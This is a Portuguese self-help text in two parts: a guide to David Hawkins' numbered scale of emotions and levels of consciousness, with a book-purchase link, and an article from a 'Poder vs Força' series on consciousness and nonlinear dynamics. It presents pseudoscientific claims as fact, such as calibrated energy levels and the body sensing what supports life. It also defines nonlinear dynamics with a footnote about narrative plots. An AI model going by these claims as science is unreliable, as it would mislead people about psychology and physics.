Medo de dar errado. Medo de perder. Medo de não conseguir. Medo de ser atacado. Medo de ser assaltado. Medo de perder o emprego. Medo de falir. Medo do futuro. Medo de perder pessoas queridas.

A emoção do medo toma as mais variadas formas em nossa vida, desde uma leve ansiedade até o pânico mais profundo, quando a pessoa jura que vai morrer. É uma energia preocupada (se ocupa com o futuro e esquece o presente); defensiva (vê a vida como uma disputa); e evasiva (quando não está lutando, está fugindo de conflitos).

No corpo, o medo frequentemente dispara reações de tensão (musculatura rígida, por exemplo), ou ainda extremos de frio ou calor.

Dr. David Hawkins explica que, em última instância, todo medo é o medo da morte — isso é explicado em mais detalhes no livro Deixar Ir.

Desejo (125)

Desejo é o equivalente à emoção da ganância. É um impulso de buscar sempre mais, sempre um novo ganho, aquisição, prazer ou qualquer outra coisa que está “do lado de fora”.

Quando essa emoção toma conta de nós, nos tornamos insaciáveis. Precisamos de mais. Mais um pedaço do nosso doce preferido; mais uma dose de bebida; mais uma compra; mais uma experiência; assim por diante.

No corpo físico, a emoção do desejo costuma vir acompanhada de sensações ligadas ao paladar, como fome ou sede. Já na fala, é comum externalizar frases como: “Eu PRECISO disso”, “Só mais um pouco e então eu paro”, “Me dê o que eu quero, e me dê agora!”. 

Raiva (150)

Conhecida de todos, a emoção da raiva vem acompanhada de uma visão de mundo antagonista: algo ou alguém parece estar contra você. Um ótimo jeito de verificar se você está nessa emoção é quando você começa a acreditar, mesmo temporariamente, que tem “inimigos” ou rivais.

A raiva é irritável, explosiva, amarga, volátil e rancorosa. Gosta de “ficar quite” e fala coisas como “vou te mostrar” ou “eles vão ver só”.

Orgulho (175)

“Meu jeito é o melhor jeito”, diz essa emoção. Seu foco é conquista, desejo por reconhecimento, ser especial e perfeito. Quando somos tomados pelo orgulho, nos sentimos “melhor que” e superior aos outros.

O orgulho traz comparação e competição.

Embora geralmente seja identificado como “ego inflado”, na polaridade oposta pode ter o efeito inverso. Nesse caso, a pessoa se acha pior que os outros e se enxerga como perdedora na competição da vida.

Guia de Inteligência Emocional: Emoções Positivas

Coragem (200)

A coragem é a primeira energia positiva, por isso essa serve como porta de entrada para a inteligência emocional, saindo das emoções negativas e buscando a positividade.

Essa emoção diz: “Eu consigo fazer isso”, “Se alguém já fez algo semelhante, eu também posso!”. É uma energia determinada, produtiva, empoderada e empolgada com a vida. 

Quando estamos tomados pela emoção da coragem, saímos da teoria ou das divagações e partimos para ações efetivas. A coragem não se importa de ainda não saber como fazer, porque dará um jeito de descobrir e chegar lá.

Neutralidade (250)

É a emoção ligada à ausência de julgamento e competitividade. Traz confiança e estabilidade. Além disso, é livre de posições rígidas.

Quando essa emoção está presente, ficamos tranquilos e “de boa”, sabendo que tudo ficará bem. Frases comuns são: “Se isso não funcionar, eu tento de novo” e “Tudo tem dois lados”.

Disposição (310)

Essa emoção desperta uma alta energia e vontade de ajudar. É uma emoção ativa, ligada a movimento e proatividade. Traz uma atitude positiva e otimista em relação à vida e às pessoas.

A energia da disposição é muito vista em empreendedores e trabalhadores dispostos. É a emoção que faz a “roda da economia” girar.

Aceitação (350)

Nesse nível energético, a qualidade da inteligência emocional se acentua.

A emoção da aceitação é a mesma do perdão, lembrando que perdoar não significa concordar com o que aconteceu, mas sim aceitar a realidade que se apresentou.

No momento em que finalmente aceitamos ou perdoamos um ocorrido, a emoção da aceitação toma conta, nos liberta e traz uma enorme leveza!

É uma emoção tranquila e livre de resistências internas. Harmonia e empatia são duas características marcantes: “A vida é boa. Você e eu somos bons. Eu me sinto conectado.” Em vez de desejar que a vida fosse diferente, essa emoção aceita a vida como é e as pessoas como são. Não há necessidade de culpar os outros ou culpar a vida.

É importante não confundir aceitação com apatia, que já foi explicada nas emoções negativas. A aceitação é uma emoção proativa, que aceita o momento atual e então se move para trazer melhorias a si e aos outros.

Razão (400)

Esse aspecto diferencia os humanos do mundo animal. Existe a capacidade de ver as coisas de forma abstrata, de conceituar, ser objetivo e tomar decisões rápidas e corretas. Tem grande utilidade para resolver problemas. Ciência, filosofia, medicina e lógica são expressões deste campo energético.

A partir daqui não estamos mais falando propriamente de emoções, mas sim de níveis de consciência nos quais a emocionalidade vai ficando de lado.

Na primeira parte deste artigo apresentamos as emoções negativas (de vergonha até o orgulho). Depois, as emoções positivas (de coragem até aceitação). A partir deste nível de 400, a razão se sobrepõe às emoções. Isso não significa que a pessoa será fria, mas sim que suas decisões e ações não estarão baseadas apenas no que ela está sentindo naquele momento.

Quando o campo energético da razão se apresenta, somos capazes de nos “afastar” mentalmente de um assunto e olhar para ele de forma desapegada, sem levar para o pessoal, buscando considerar o máximo de pessoas e variáveis envolvidas.

Com a razão, a inteligência emocional se amplia mais uma vez.

Amor (500)

Quando falamos do amor, não se trata somente das relações românticas ou familiares. O campo de consciência do amor vai além: é uma maneira de ser que perdoa, dá apoio e que “nutre” a si e aos outros.

O amor não vem da mente; em vez disso, emana do coração. Quando vivenciamos verdadeiramente o amor, passamos a focar na essência de cada situação, e não nos detalhes.

À medida que o amor deixa de ser uma emoção temporária e toma conta de nós como um estilo de vida, passamos a enxergar que tudo e todos são dignos de serem amados.

No nível de Amor, a inteligência emocional abre espaço para o que é chamado de inteligência espiritual, com a harmonia das funções do lado esquerdo e direito do cérebro.

Alegria ou Amor Incondicional (540)

Esse estado emocional ou estado de consciência vê o mundo como completo. Enxerga que tudo está conectado, que “todos são um” e sente compaixão por todos.

Há uma enorme paciência e uma preocupação — no bom sentido — com a felicidade dos outros. Além disso, há uma sensação de autorrealização e autossuficiência.

Paz (600+)

A paz é vivenciada como perfeição, alegria, leveza e unidade. É um estado de não dualidade, ou seja, de “não divisão”. Está além da separação e do intelecto. É um estado de iluminação que traz profunda serenidade.

Desenvolva ainda mais sua Inteligência Emocional

Agora que você já conhece a Escala das Emoções, você pode aprofundar ainda mais esse estudo.

No livro best-seller Deixar Ir: o caminho do desapego, Dr. David Hawkins descreve as emoções ou níveis de consciência com mais detalhes. Além disso, nesse livro é ensinada a própria técnica de Deixar Ir, que é a ferramenta mais simples e efetiva que existe para desenvolver inteligência emocional. Clique aqui e adquira o seu exemplar.

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Poder vs Força – O Desenvolvimento dos Estudos dos Níveis de Consciência

Consciência

Qual é a natureza da consciência?

Se você está acompanhando a série de artigos relacionados aos livros do Dr. David Hawkins “Poder vs Força”, pode ver que no último conteúdo publicado falamos sobre a condução que apoia os estudos dos níveis de consciência, as influências e premissas que serviram de base para esse legado do autor.

Entendendo ainda mais o desenvolvimento desse estudo.

Qual é a natureza da consciência?

Boa pergunta não? E, pode-se dizer que essa é a principal barreira encontrada por qualquer ramo do conhecimento que busca compreendê-la, das filosofias à teologia, das teorias políticas até a própria cinesiologia, tão estudada por Dr. David Hwkins.

Todas convergem para o entendimento organizado da consciência pura.

Claro que alguns pensadores mais avançados ultrapassaram alguns parâmetros e se questionaram sobre a relação universo-ciência-consciência, mas o estudo conduzido pelo Dr. Hawkins funde essas disciplinas na busca de algo que possa descortinar a consciência.

Tudo está conectado, por que não a consciência?

Se tudo no universo está unido, conectado, por que isso seria diferente com todos esses conhecimentos? O que o estudo dos níveis de consciência fez foi abarcar todo esse conhecimento transcendendo o ponto de vista limitado de dualidade.

Se tudo é Uno, por que o subjetivo e o objetivo seriam diferentes?

“Se, na realidade, os chamados subjetivo e objetivo são realmente um só e o mesmo, então podemos encontrar as respostas para todas as questões apenas olhando dentro do próprio homem.”

Dr. David R. Hawkins

A mente humana é um computador muito mais avançado que qualquer máquina de inteligência artificial elaborada.

O próprio corpo humano dá sinais e consegue discernir de forma apurada a diferença do que dá ou não suporte à vida.

Ficou surpreso com isso?

Sim, nosso corpo é capaz de reconhecer o que suporta a vida porque esse é um mecanismo fundamental de sobrevivência. Qualquer espécie viva reage às mudanças e busca corrigi-las de alguma forma.  

Quer um exemplo disso? As árvores tornam-se menores em altitudes mais elevadas, à medida que o oxigênio na atmosfera se torna mais escasso. Ou seja, existe uma “inteligência” na espécie que as levou a configurar aspectos estruturais para a sobrevivência.

O estudo da consciência e a dinâmica não linear

Para compreender como se chegou ao desenvolvimento dos níveis da consciência é preciso partir do estudo da *dinâmica não linear e, no caso desse estudo foi a pesquisa de atratores (falaremos sobre ‘atratores’ num próximos artigo) que se vale da identificação de faixas de potência dos campos de energia.

Quando a dinâmica não linear é considerada num estudo, ela permite que padrões desses campos atratores sejam identificados. Através disso é possível se observar fatores que geralmente são descartados quando as resoluções de questões são estudadas por métodos lineares e convencionais.

Como convencional podemos compreender que o processamento de um problema começa com o conhecido e vai para o desconhecido numa sequência lógica, linear.

A dinâmica não linear se move na direção contrária: do desconhecido (dados não deterministas da questão) para o conhecido (a resposta).

Talvez você esteja dizendo: mas o que isso tudo quer dizer? O que isso tudo tem a ver com os níveis de consciência humanos? Como isso se relaciona à minha realidade?

Calma! Vamos um passo por vez!

No próximo artigo traremos algumas definições importantes para acompanhar o raciocínio que embasou todo o estudo do Dr.Hawkins.

Talvez você queira acompanhar com mais detalhes essas noções todas. O livro “Poder vs Força” é uma obra prima e a base para a compreensão de como nossa consciência opera e até onde ela pode nos levar.

*O enredo não linear não segue uma sequência cronológica, desenvolve-se descontinuamente, com saltos, antecipações, retrospectivas, cortes e com rupturas do tempo e do espaço em que se desenvolvem as ações. (https://brasilescola.uol.com.br/matematica/sistemas-lineares.htm)